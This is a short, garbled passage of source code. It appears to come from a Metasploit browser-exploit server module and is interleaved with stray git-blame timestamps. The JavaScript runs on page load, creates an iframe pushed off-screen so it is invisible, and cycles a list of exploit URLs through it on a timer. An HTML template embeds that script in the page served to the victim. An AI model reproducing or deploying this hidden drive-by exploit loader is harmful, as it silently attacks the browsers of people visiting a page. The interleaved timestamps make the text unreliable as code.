function moveIframe(e) {
var opts = {
'position': 'absolute',
'left': screen.width * -screen.width
}
setElementStyle(e, opts);
}
2015-05-10 16:50:32 -05:00
window.onload = function() {
var e = document.createElement("iframe");
e.setAttribute("id", "myiframe");
moveIframe(e);
2015-05-10 16:50:32 -05:00
document.body.appendChild(e);
loadExploit();
2015-05-10 16:50:32 -05:00
}
function loadExploit() {
2015-05-10 16:50:32 -05:00
var e = document.getElementById("myiframe");
var firstUri = exploitList.splice(0, 1);
if (firstUri != '') {
e.setAttribute("src", firstUri);
2015-07-06 19:20:15 -05:00
setTimeout("loadExploit()", #{datastore['ExploitReloadTimeout']});
}
2015-05-10 16:50:32 -05:00
}
|
%Q|<html>
<head>
<meta http-equiv="cache-control" content="no-cache" />
2015-05-10 16:50:32 -05:00
<script>
#{js}
</script>
</head>
<body>
</body>
2015-05-11 18:21:50 -05:00
</html>
2015-07-05 18:21:45 -05:00
#{datastore['HTMLContent']}|
2015-05-10 16:50:32 -05:00
end
2015-04-14 01:33:02 -05:00
end
end